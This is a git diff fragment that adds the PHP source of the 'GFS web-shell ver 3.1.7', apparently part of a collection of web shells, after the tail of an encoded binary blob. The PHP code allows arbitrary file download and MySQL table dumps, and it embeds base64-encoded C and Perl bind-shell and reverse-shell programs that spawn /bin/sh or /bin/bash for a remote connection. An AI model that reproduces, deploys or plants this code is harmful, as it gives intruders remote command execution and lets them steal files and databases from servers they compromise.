zo2i$HVs+K5ft-Zgd_#-XFm|@s!7m0sEWR?1fWaS=1wvydP*-I8%qjcR!-P;?MNAH{ zE~(HDDcKFki_v-7W?j{`T_T5d%oHcsB9)sCCWl{8YAwF0{7GCY!z@m^q4E*W{?Wpk z&>n^xiHsES6l=v+ChE<+{+Tc0r~KeQj%7FT{W^=qEOZr?8f(f$y<Y-MdQaUe(B?jp zrE&zGFA{Q+ivNx+Wbmf_Wsyv3Q|I`V<53y+&6gF6ib96l8S{s_8THQie0Y97J%BGh z^Gy6yWNb~ue>9Kdm7JDTwK`TI5^au3Mpofp4PV!txo4?bkpEzDpZKcnvv0y&!T$l3 zT^suO$zSchYeT!wJFOpf5bfzrdU}3__kD@ankmv{7^^!CGXj_rgCB)+#`sEGfXBKI zjv@w3$i|ty1Gblo^P9Xmy9M{n9ZIw41FjM05vRbJkoGq555Z-Ay*V>mZzKR!qLOs% zZV|x;*pHrpqvX$D|FQJHJD+@(uNo3~Q(k%>;}qCe;yvVT8YjSOJAuYqB`xU_cN+&4 zFZWvo{3{OV{?C2H(*V{i8i6^Fls+A_aC&t~uqBY}luBB?^!qoiG`6xIp0<{Ba>BN! zk(*6Pzkb58uH4L0-N`fY&q@M+{UWtXmd%CoXG1<er*5<9FNi^ziK9uHviGq4uaxzd zchmpszL|CgI*6e~d^74sW5Ki9E77prDo$|Zx27O404Xsc99V>C*@2*<(7Et7G;~#h z#b+&W!P*DCE-(w<TtsZO|Dn7@K3S9Wymk;Z4HQ?FKxwB&+|_zGp3x3Pz@dr8KbB<y zw~buns)q}jYe1R~lufLdATWPLk&c#Wk_d3JpzM!j9|J7}+==kvxV9rE$g)XY`Zgs0 z6-~029v7JejDU<uKbHPS*CSnMiLHR8uy%bziI5w%GC^c`9#D_lzz)Q(>kkzS!=?}e zZ4y4@?<SO>Z|j=x5C+fHfmJEu4v<s;Z)-69Qx%KIRrLHcOFcq>h-g}O=IZ#v918uZ z3S8$ld}EF35jx5Z_KTb9A13jS6}XrXQTT1|pG)v_35)}O?t-6;=qDrkxeI>of}gwK z|I}Te{0EuoQeqL`f2*bNzuPkT?`SU<$MGRKQu8d|F@b&V0wNbP`<gvVD|sEp&jxfE zI+_e-?7b)_$^bDg$v^t|iP{DIJ9C_P>oOhl@>m9E$szMIP2_ssO@NE}`0Bf<c~?3J zd0p2<*Q>JV#AsPcffsfvDklDB`B9|@oLHP5lDPH@(h|<Lg{3?*+qncM27N;qwxTyS z88MF{2+N2sHvqctpDFIFp)=DcmlWM5tjnVlBhpa^K2C5of0=YXr30cmAlBOd0S6Sd z89RQwJ5_j9&w(IC3gH0}n?_7rec)IC|9N?cEcAO)IEfSiOoZZ?@A%4ow{%JG#2Egx z+siSno`oJ!%+IqoHT@>$o+X}k^oW`A7cKsV-aboi4xT5u*8E<{uKI))^%YLt_;9r> z)c@$7zCEL?;l?5m&dFd`NLF)&!Z`CY)MVV;Gnu#`iSE{8H9|L(O2b%1MQ8m2wz4@^ za##|lJ(>KSq@BR4udd%<c}AlMIIHY}3eYF0hzG&7-0#WE+4rAs`^*KXdr7T9Q)d*( zt-w$lXZ;I~(E_@$xsMn^001sF=w|^e$+f|8FojHnZk<3*$o?~>1KTxayQdF2zeKss zzR63zjrd<G4F-V06a28b@}w=;@;O*T;6GCZh`a@0(})2E=3fxIKjsETs8*E#Exi2~ zq+kj{dH@Zt^Xji?)E_da66hpy<d?OIK+G=*R_!9l-Nf0od)iEY$N*jN39K1bidg-h zprEc@)YL_;`ho~X00_dQ2jQX~&~r;V2sCJn2LOJYBAWi5w2&q6bdsHZ0YE41N|IbZ zf(0Z4ltMEl?(Q#uy;vLv0!>M#VBhNcXR1H&_kAS0D~Tt(B+HRnfs-TELX;!9YC`OH z>e)p|+0cb@U@`g?8oWFG?;@g~Wbl&=05ADJj10`>U3uE>*F8^kv#EAqMI{KUZO!i& zO}iwocLgw}IMoXSfVEv!2^Kh+jH0wSa7M7#M((Z>njKtKs?INd9oC7v8?1Ca(TDTR zf2-^vJnUq(KB_Tvuq{MBS?;uHrMBN42-Kf80q5(YyTV=PhyJ#b;d$?AC|pGXrn4$o zCT#H_Lp2d~u>dYSviMO!HJh<2aNQ*20x2$i+}aDT?m1f7kzk#!E8d@bC;Rf9m%icm zY~%NIm>*NsE73(TEUX-lFPo|=oHEl0!Zeoz^2_wSg2pPbQc%zOy(7rtIzadt34l?m z(gbMYEdP@OH$Pd~%Pm@2pV{ClDv!K#!qZ`np5lS)(+!k|mv&@k^LUY?d>qr*{dRa^ z!LXW(1+_F=X}O*2sU3)5hdtM*L#x)7r+o_RF=flkN45<vzevR%CcH$Z>hyi+pDbS4 z|Lqg6b>S$T#L*Ew-eJRczAwwovt9)U)NV;l<cOedlRx*MXR^?n!0fo9hIl-SS?h-r zrT|#EMq9(|(rN|gXWjq_8cnx%#X6brG;+So<}?u+G^x+La*VKruECmR%RZ&cw0>fB znYAKr{K0vNZ^4X4h<6VRUqsHN3BMKIlQy`e=&Gs_hoCNgqq-RWR4<or57$wr{YCK% z`ZoefP<DUYg8>3eNM%|}7q(IZg2_1!kHNPN_eSXZYJeVCoR+PhH=XGgqH_p^F2>kx zUod2NJd<#GrFu@Zno+oEYiw@5Wy>>FVzjp?{O#=5gYRP}sV8%8k0`O1&bbT#gvG9* z!iwy$+w;7nRS*ly;8jchbMc4t-e}&<31U|SVrh8VbVW@Uef10Qz-U`-M=1AAu3Sk; z)i<{>b3i@_B=A`H>*!tMt3NQK;&UsD!7q~qc1or^%lwJ1DL!T9&3bw3GrQc&_~+O1 zXIDp?q(}=!d-F~9L0*WQJ#GP@xx3ni4qtO5ZbXo`0UrCEZB{!tDf6;nl`Q=Z{d0tJ ziH!@7fZq=22fArms9jd6y!Sc(g?bz+)m-qiU~O`%ctG$mG=Jy^u_zb1vjj~uHT2)q zT`@!yj_x(fxUvH&PQ({uI<qlR%Js^+t;<G3oDn}#XcECh5y(+s!Z2I_8Lk1F%K<W# zBzhHy8&UB4NkmMPgHH-6KNZobjlcp!@7J^+7c`?3O~iu}`+Fq%7FhdsglPtR*Ej<g zW5vkM;81=JOv<#f_)H)Hb)tyT0RHl`@}JZ4{|>bzdypjoO8Ob%TE`C?Xv^MrpSTN? ziDm6!YFkBT*SUW0qsAXH8SjL@K^3x)6Q7k`!L0GAVw=gE>ooXBuG_FNvO5x9*l1m` zZHC=+lLEmpPW(BT#lJt={6E`>t{*M*^L^@QLtAl(!X+iDhI8uP(U6amFXgqXu7P_V zYjE;?xP`=@)ezPzBp1u{hOLu}9#oy{(wBeMqt)|yiGT7^=?$Y+T4oui?U$z=DKx^I z>QO{bNe0BAq&4Zn9kk_FOQ)qQl`U<v?h&}tNgchxkxS|$7|#1MtwAlQ))#x&18>Nn z5cASxgD@6MKZ+ReHR^KiaLt;+d085Bz0tw_>ZgO{zHxag(QGB%tLQr(lvMw8e?UCW z{rm~1mxsODvIWA}PRg)85MdPW+kr5&UQ87Z^yFr<k5IAP3}im>X^5A{R&v(rgdwfy z12clUahGKC=tZmgY_slfvzg4vKGnU~I-eZnDtNcoaRRd9x6#z7tg3BJrxSY7;z+AY zT38XiySn|c>ISL#CgQyR%0^)uY}rrR<U%rCdX|ptQJ4vPt4+Dt_{YHm2R=~}YTmEx zA1fU9wb=LGpEk9(kfJ!$)$^-n^bJhK1w;1ud$xx}*d^R?{#WgD??jtvFF6!wvS(Oa zBfoiQ8sVW3yh_jrXc*Hn2x+~IOe&*mwql+-79h)hddh-Du)iP^c9KVE+X|pZl%giD zB{%b(e!O-_<xq#?>GhBE3VnW#7ln+t(K+7nUH6Z_nNZM~spmJ-T=^_VQ#?>~?#r7A zBU4&k1kdMVCH@r#IZAitg@(BmhgR{ri@J*+6fVx2y0zt!Vr?-z<E_hThC2|)v3KSi zk2!jtjC5x!z;1L+FHhxUrd4z;70CO(iN<Snxm|B-JWhLk61O*RuJg^~{n+Z+2dmhW zNHY<4u8T3xgCiZzhxtaRXc^t+8u2?CApX=Md<>B={KDt?z$!^TS}|-q){0{?PeGo< z0>5Y&XHjwnYF>5twtCfk`s`Q%Y@DhKJrj!|Q+9&Wtlu~(A2?jHFTjV9gFwcxE=DwB zhQ(upCs24LJeF%|t(fFD0OR1Fi)QGbSz&OuP`K52EO}te;8p~`YgF>><D?o!KJA8u zx2Ko(mH=enIsga)HGcfWuZ<{yM!JBLs+T`7sVo6kt7`}{Pf5EDltG>phAW?+*Ue4Q zT_jw1H^7V{TZ>8FN<TOQBr$kofFfVQ+9R2&qTc6HY1O>1F$>P4xy3J&N}rKCruUcf zC%`crB=B1Mv+D_OFG?B2>D2~H1fa;&$C$}ZK(qd02ZCtm@e<E7T_vspMfu|_aL_6n z$vL9XC3#kQ!psfx6)jeK@2gg>1tj`;2;qI5fffH6-`v4rcg0rUP!v|{e$aw;zfif} z#p%Aw{pxZmH@?cnDXQi0m%MYGP_uBXXC<9)!m}l9+^Ipy9~@3epPV?UZU+SWvVeR4 zS#(Gy9dwnt5O^MdSXIF3>i5h)oUYV<)g@-%Yyz;p3;wVx^)U9({|*jEE3x4VZ+k@G zDDlh=VpHOEeyc2VaGh0Ljh36NFk;S-w#q7QK=9R88%5|TXG<VAx}qE;4;J?1ST1p| z5BFTiGUj?Jo`3h83gq0r+#?_N`Pnqy@#-AMAs^zD4}`f)4arRp*Ru6A(^z-5QAei1 z_(dBjX0pxx9Cl2JYjKNrjVlUq6?if?CBR-RSQ*F3*~KIlpE@-CLcH~8-qADdC&U<n z<KG3?beOlJJq?QoQ1*fOW3Be~Owxqjk#o{yhOHKNw?~4_)9?Qx2-b6yiyL(LW|SqO zk-SG&ecA3>@26IT0fO~<%L+yGvpz=KoBK8PJ!#&~MLGke#{EH`WGk+f`wl#Bfo}(r zJi^m|f6<M>s6na2&Dy#2PeG$Zipz+wFYdv*Fi`!O8P9=xAG}(y;Hmpd+AJ3h*dzUr z_OGHwm`PbPA)Ob~+LsARCHbX=$UBwcV(E19UQVedk!dyFw!@LfTNEkp8yChGmXt=c zc(euK!aoj)Fl^xakP8Z`WLIF#sRH03rWX6Nu_+dKM75BoXyLQ5G4%4$BT(-lx7f7C zG+i^z#5qy6FvDQ8$=Z^kMXyJP9`<g2T+fWQe)X`Mmp5m@uJmghS?S8u3aj<w+>Ybd zr()h;>qp`)rUQX^4S@lGC4cB(bSjYmtgf!IWT7x~3kz4w@*O*K3G61=gv_`jo!je3 zfc0F?aj)54Sf95r?!js&fS?wSzI-vLe6Ry~WR6_JUL|cnx4KAgG7y~=n9W|qgm!<} zwITo?9e8?&Km86d7lU5_8+@n{_^AUk)eNwtsZEkQV${6VB5J!O6AnN2S<LEfWm>C2 z-;*@{!ZOpJ3(FN&+TM&I;{%DN<hnlC%$PM{4z`lz8U~#v`jfJ)r-&U$f)>D{NP-Yv zK-1ayM(&5LQ-O$9Xc)<P`fti7eO4x0H%a_jT$h}%iTR~FvN#m!CKinaOjf@%@P{SX zT@y|X5wl8Vp}UO`RMIvpJat6c$gWEN%gs8c4p>cIRW*QgONM-h+>&Xqe^-e`Vwjd{ zASYsA?5TRnwcu$BJi&|PzD9Os2VFNIULx$DA>siacI(_yMgR3IWJ~6=0E_sT$%dH& zxoRB!pyGR61z<S`=G4QI|3ken#kaWtzWvNqM-PoEu^!|FAqx-y$6FKlK_7VfgH-~@ zf~OeadnkIO6B-NfYYjin%ddTaYD8GiFYTg~qy>89+AIv<oyQe-tz6QNRb@4T8v^gX zl;QvR(I?IG1B3YZ&$0hp_y51peELFGPB(cpy5C5dGx)9{M1Yg`hwZPm-kQd<C_SQb zS><k;ZEJ^;qUdb25;a{mVjjy>+bjllfe*)TQUbpu5s5`eDdj{iZoccmED_y7tnjn{ z?l|H9sy<GnFN()*k!KbEsgAwq!`eW{jTVQ7EGdXb6NUYR=uFD}3>HE6uk+IA!h&KK zUtfQb+S8^j$@z5|qK^(7uyy(-7RSX@1@BKA3ILWA9l@w&gwF;qHHKzQX#0!T7za<A zvXIQxpsSn-W8=#=x%Qr-aGcd4L;G^<<=f@kdWCe$wI-p)<c`RuxmQKvW49?@Tyqw_ zT62xfStEp^TdOiBML6rk80A}jW6vwRGMon}85W$T(@g2`$&x|?_D5owmc|BD39vBM z)<dhrl9t$UL-vp!#?AUmYZsWqcx0v?O;zQl^9H7TveN06S51u>923z#gK+u4aiK}v z@ndIvw*08IT#xYy%v`ueULN+4L=7wLqzT3P7qWUM2?;o&XBY`Z@^{2R0h9dTRP`9< z(lLr=F?KMBi$Q<RU<&lM8mOx}Um0<`vNyZ%(!&#tW@)amhqPJ*<Oy|6;tmfzHfWy8 zanr;3rhJ{N;$*e6Erv|IA9rKbO9|psXWzhEO<GSV^2Nu!=ns3OCztjudVi>nj8{Zn zU2cu#$>sBPFKy}qBp>imo;~%hf7CqYaeZ=7=6L7!5fCMUj%=Z4X{&!41j9y?a;>Ke z`v-!2$%5oEmWESXT=+Sl^*)U~Crxv2&%g6u+qn@xdX<bmwawI<RcS!70#-5j8=}9O zBpVQhZJPf`+b9Py*BK89GPViOVdCEZ&IotedPi*R{A~nfUmF}L+-EWgSK-W-cin+N za}fg+K%O|6mtICLOVV+H%_kijawLAgfOCu3f%qml082Ow*f=r3&+F?PC&y~%HX1VR zy-H>)FTidSBFH4(9SFV5q8Ql?T=}8pfiBgnrrZjfChm)dwr&M40n7CgoUo22>M`#s zpsXx=c?S}+eB2bl`&BV-uwgg}T_V#U@S0{~*%>jk2;6(QT();0xRy-mn@Nt2)}?fr ztC?J+g+g380)Kdnj3DI&77l~1YizFVKo-OF*-m!S7`|nZR*}7ba=#sN*>@Px+5SCz z18uu{Px2yf^BJMAJDJh27(ViV^$tWz7X##;BIVz!D~65JgP2Unm_VW<5!i5F=?|0L ztY9mc<t$Pm55`>>C+tGLTuabHllEI9U}O+VdRI3`b{7Bvf?TY(w@bc<mZ%A|lrR3` zG1!OQ%BNa%*nzCmRszwDU<9=&2A)gVSRfe=b3Of`#Fq3TdS-fJ2XY3;HWJ?(r!vq) ze+40Ke;;wEYYv9&UW`TpD|vS34<&vW2(Gu>?VyA|aB}qhpC5VBu*%}r*`EXdx#GJ> z-67pD+I2JNbin+SSL=i*8=lHMRZnQP!A3=c5Y(!YmEK&B!5X3dhE_8Q)Jb|yu1$ei zFj!@H)nD($j4s)}frt^0d8*ETRg?0D{nX}JeC-<Hv&G+SEzWEj*YE8~ejt)@I)Af! zGo_)L`fyvS|6HH8cq|o0%bDj(TW)9N29>i*c&&Asr)XS;O|n{mz<D9tK8o&l@UBfZ zIm7bs%CJ*^FazrXD{zeq3G?>5tHS<&<(lyC{_W;hZk|pZzghe%N&Bo1(p3`mPha?n zQn19U^>J?!-ReQ025^IU{Z31w0?>}Km9wvOTOxD>JDyX<n<=EtUwe`Jh9}FuwJAH< z@A2v<PrVWb3W(yK*$_YD9NxfDdtDcKf3DU5z3XNRU2WY$DyJ8Z-*D0<l&S~$%p{!k z8U6HJg6<^_dl9!ZvlwygDeuq~M3!|$tvO0xWVVrEI<ND^<NofBmNS|vUL7s-iw<wk zy~+|eV9dbH_-Kzo?I~=u=b;9UTU{L|Lu`9rJ<G2<InVSy%3|EtCB|RWKw#TB@^HiT z!=Bs>GZb-8Bvmnt;x{MKh4d6xTh4H^hmStsI9+^^!)i$N#o6or(|bO>3$W#{H#e(d z&=b@t>(kWeWsk#}3~4+({@H;;y-BN@fpY8iX1k$<BwgQ3f1wNE(4zzRF_G~g>-YH< zj_O7uH5blX-9DQ;v9z8*kUq1q?exkuBz)*O5&b1X*qZ*nSy_8g5KGj|SS503dZ@eX z>}c_ksk()cnc$3Tjv^T>>?@LmRJFA^TH2B^Pt@;b+Se5=PIG=?J$IZ+JhtM5P27Q= zEz?#fv-B(Jj&zx{kp<C9qpU2>ll(2$@=$Guz8o)U{`$Ubc{Fy@3o2C}zV!9;#KG=% zQKv|c5>bQRB?#W3LFD~}@_W>`J7Gd!7w7JCr%Q&h9?U-9d)Im@HM;u-G`7?-<MwPE zrLz!vk$2%6x{%zATY8Skvsx{CXF1w=*F<7XDmQ37{jw3d+%fp7->8ww!*UoOXZ&8l z>U|%Q<Uf#GdlK^rdZU;KBxbaE`p#!IV*AT?Ci?~t_vue7_6u2}Csv2a<?Q5FT$MR{ z>9v;51?ABi$*>(=W;mq>C$e3$CgKo;b<DWF!xipc4LvIPeQfFFRqs=1fhcn5I1sNS zfL-S57O>&$%4tH`%Fk4+ESW27BbMLJqSt^y0NaD`gznCq4qiC@^OOJW^J4HUkbDD3 zb@hlC4R!r~p7F}w=ieCeobHrz%8E*&b&~X}XocnOujDFRYe&rk912(b%wGagazXg3 zbIfr30<sPGwf~;^hhw|+Ey60IlC)nk66vP2iH=Y0I#abA2ktc{fhM5*Z&d>RBZWdE zCx^{_mcr~5otLDc^y7#0@1-^}3ZgqNR5L;i&miWb`-KsxN@f*u)if`z`J>o^=*&{% zFQG#75NI&2=if5}rUzd;*$`h>aH1fG$HxbVsuES<nTX`90q4T$xTVJzI5Q8%SnOY0 z3$`2<2UlTaZ2OF>84jT5y73uUAVx>A<C@7NZ_*m{d+_^RX>B^h3E>#@;SqBUyqCYL zZM5K=7578iaFz2(PN((=p6p=!D0)Nuy@=KIMSE@)T+Ogzq4xO@m8wvkMh+P*4JqcP z4ow@&1Or=o2f3kgFZq4*O2r$Slzp0rPGTE$F@!{*B22?T4E*1dsLrnzgF*_oX<yIv zJ1Wmse;B(tB0qHy$vDC)`P|4$4j#F8aDQg;>y22YdtFfJ@b=4v+}s<qUO39N<2`gI z%9>w|T-+xHH&c1?`J-e30ReyFs_qCR>NXF8A<$ZC$=iV-cxdYT6rmTPx>q1y7X6RI zR)%H^vNa^&xAS@ziG5zH2bWm2MIPiNybxhCq3r*#ku2RG6{aRQobZV9vZKg!VUq5U zf;0*QF3h}#dt$2uGz<asa1LT73`N2#fzcG-2LK2zpw=LX3ewV!F2W>TVgS^92a*Zq zn)mO&WNAle>_E=qP<ZrqFsW>Y?4$!!D{!`cH6_@05?8^+3L4mV>VOKhFtB00O7*kK zzn%4;bNPQg5xp-gFAH8}s2M(IMniexy(T+qG$ZU$E&0Y3^u}jcBnapLE*@TzZ~Dtj zMttXT%D-9>-?L*vK*(v1jbsNx)Bhg6FO%Pgp8tgSR+yMIrYmbB$ri;5&u>U|Sa_GX zK6K1L9j-KQXDK%fpErIiFSy;g2CZ-z5Q;uFsd>B0od1Z6MW*lY?V-U4x#^Qj0#}yL z?1{d6>98BNz4{{lO&>TxEzf;y(77D4A*sh>0;~va@Xbl^5Y3uorfTk-t2y#1jBsF$ zObhOpS)oJxPRNG@%Au+@hiw-JlUB@Tk<DgqoK0YOoL#%|ERjHZG$#L=@j~tuoQ#nB zbv6xSjUZny?ZZJqjiW;tzVawwixH$JZ9|Dxe!yfR6^X_+{qkOoM(P86pX9V2#w)c# z*DiW>%yhDXpr1-xpB^mMKgfC{|Cze_y>h8z?m@Y1?mF3lUWM~wzOwKWI-I)FHWZJz zMZ=PO%&1%5&qiq)*Q@QnlLn!EtbyA#96=cAz$3sB0piBLYeOgY|6B9xkl)kZEb8~$ zuzll}VA-u(ym>r#%w4g7!Kl)P@!E=4KJh^;bLMYe{;yrt-WWJEl&1gtll_mouHRBK z=S7xkJSk&HZSG;bz#zbQ<zMMmF5y;JO^HX^hf3}wIpVpEWxYG_I+o9sqxZ3lURN`$ zZu5C{wEa&@ZvE>`^@b?dA!S8JJZO6-8TCzQ#jE37KMz>`d+W1gPW(?%j;$*H8A8&R XL(0}KN1$!&Ro1nSNG@a9|K9`vK~w;z literal 0 HcmV?d00001 diff --git a/php/PHPshell/gfs_sh/gfs_sh.php b/php/PHPshell/gfs_sh/gfs_sh.php new file mode 100644 index 0000000..dd6c601 --- /dev/null +++ b/php/PHPshell/gfs_sh/gfs_sh.php @@ -0,0 +1,1575 @@ +<? +/* +************************* +* ###### ##### ###### * +* ###### ##### ###### * +* ## ## ## * +* ## #### ###### * +* ## ## #### ###### * +* ## ## ## ## * +* ###### ## ###### * +* ###### ## ###### * +* * +* Group Freedom Search! * +************************* +GFS Web-Shell +*/ +error_reporting(0); +if($_POST['b_down']){ + $file=fopen($_POST['fname'],"r"); + ob_clean(); + $filename=basename($_POST['fname']); + $filedump=fread($file,filesize($_POST['fname'])); + fclose($file); + header("Content-type: application/octet-stream"); + header("Content-disposition: attachment; filename=\"".$filename."\";"); + echo $filedump; + exit(); +} +if($_POST['b_dtable']){ + $dump=down_tb($_POST['tablename'], $_POST['dbname'],$_POST['host'], $_POST['username'], $_POST['pass']); + if($dump!=""){ + header("Content-type: application/octet-stream"); + header("Content-disposition: attachment; filename=\"".$_POST['tablename'].".dmp\";"); + echo down_tb($_POST['tablename'], $_POST['dbname'],$_POST['host'], $_POST['username'], $_POST['pass']); + exit(); + }else + die("<b>Error dump!</b><br> table=".$_POST['tablename']."<br> db=".$_POST['dbname']."<br> host=".$_POST['host']."<br> user=".$_POST['username']."<br> pass=".$_POST['pass']); +} +set_magic_quotes_runtime(0); +set_time_limit(0); +ini_set('max_execution_time',0); +ini_set('output_buffering',0); +if(version_compare(phpversion(), '4.1.0')==-1){ + $_POST=&$HTTP_POST_VARS; + $_GET=&$HTTP_GET_VARS; + $_SERVER=&$HTTP_SERVER_VARS; +} +if (get_magic_quotes_gpc()){ + foreach ($_POST as $k=>$v){ + $_POST[$k]=stripslashes($v); + } + foreach ($_SERVER as $k=>$v){ + $_SERVER[$k]=stripslashes($v); + } +} +if ($_POST['username']==""){ + $_POST['username']="root"; +} +//////////////////////////////////////////////////////////////////////////////// +///////////////////////////// /////////////////////////////////////// +//////////////////////////////////////////////////////////////////////////////// +$server=$HTTP_SERVER_VARS['SERVER_SOFTWARE']; +$r_act=$_POST['r_act']; +$safe_mode=ini_get('safe_mode'); // +$mysql_stat=function_exists('mysql_connect'); // mysql +$curl_on=function_exists('curl_version'); // cURL +$dis_func=ini_get('disable_functions'); // +$HTML=<<<html +<html> +<head> +<title>GFS web-shell ver 3.1.7</title> +</head> +<body bgcolor=#86CCFF leftmargin=0 topmargin=0 marginwidth=0 marginheight=0> +html; +$port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; 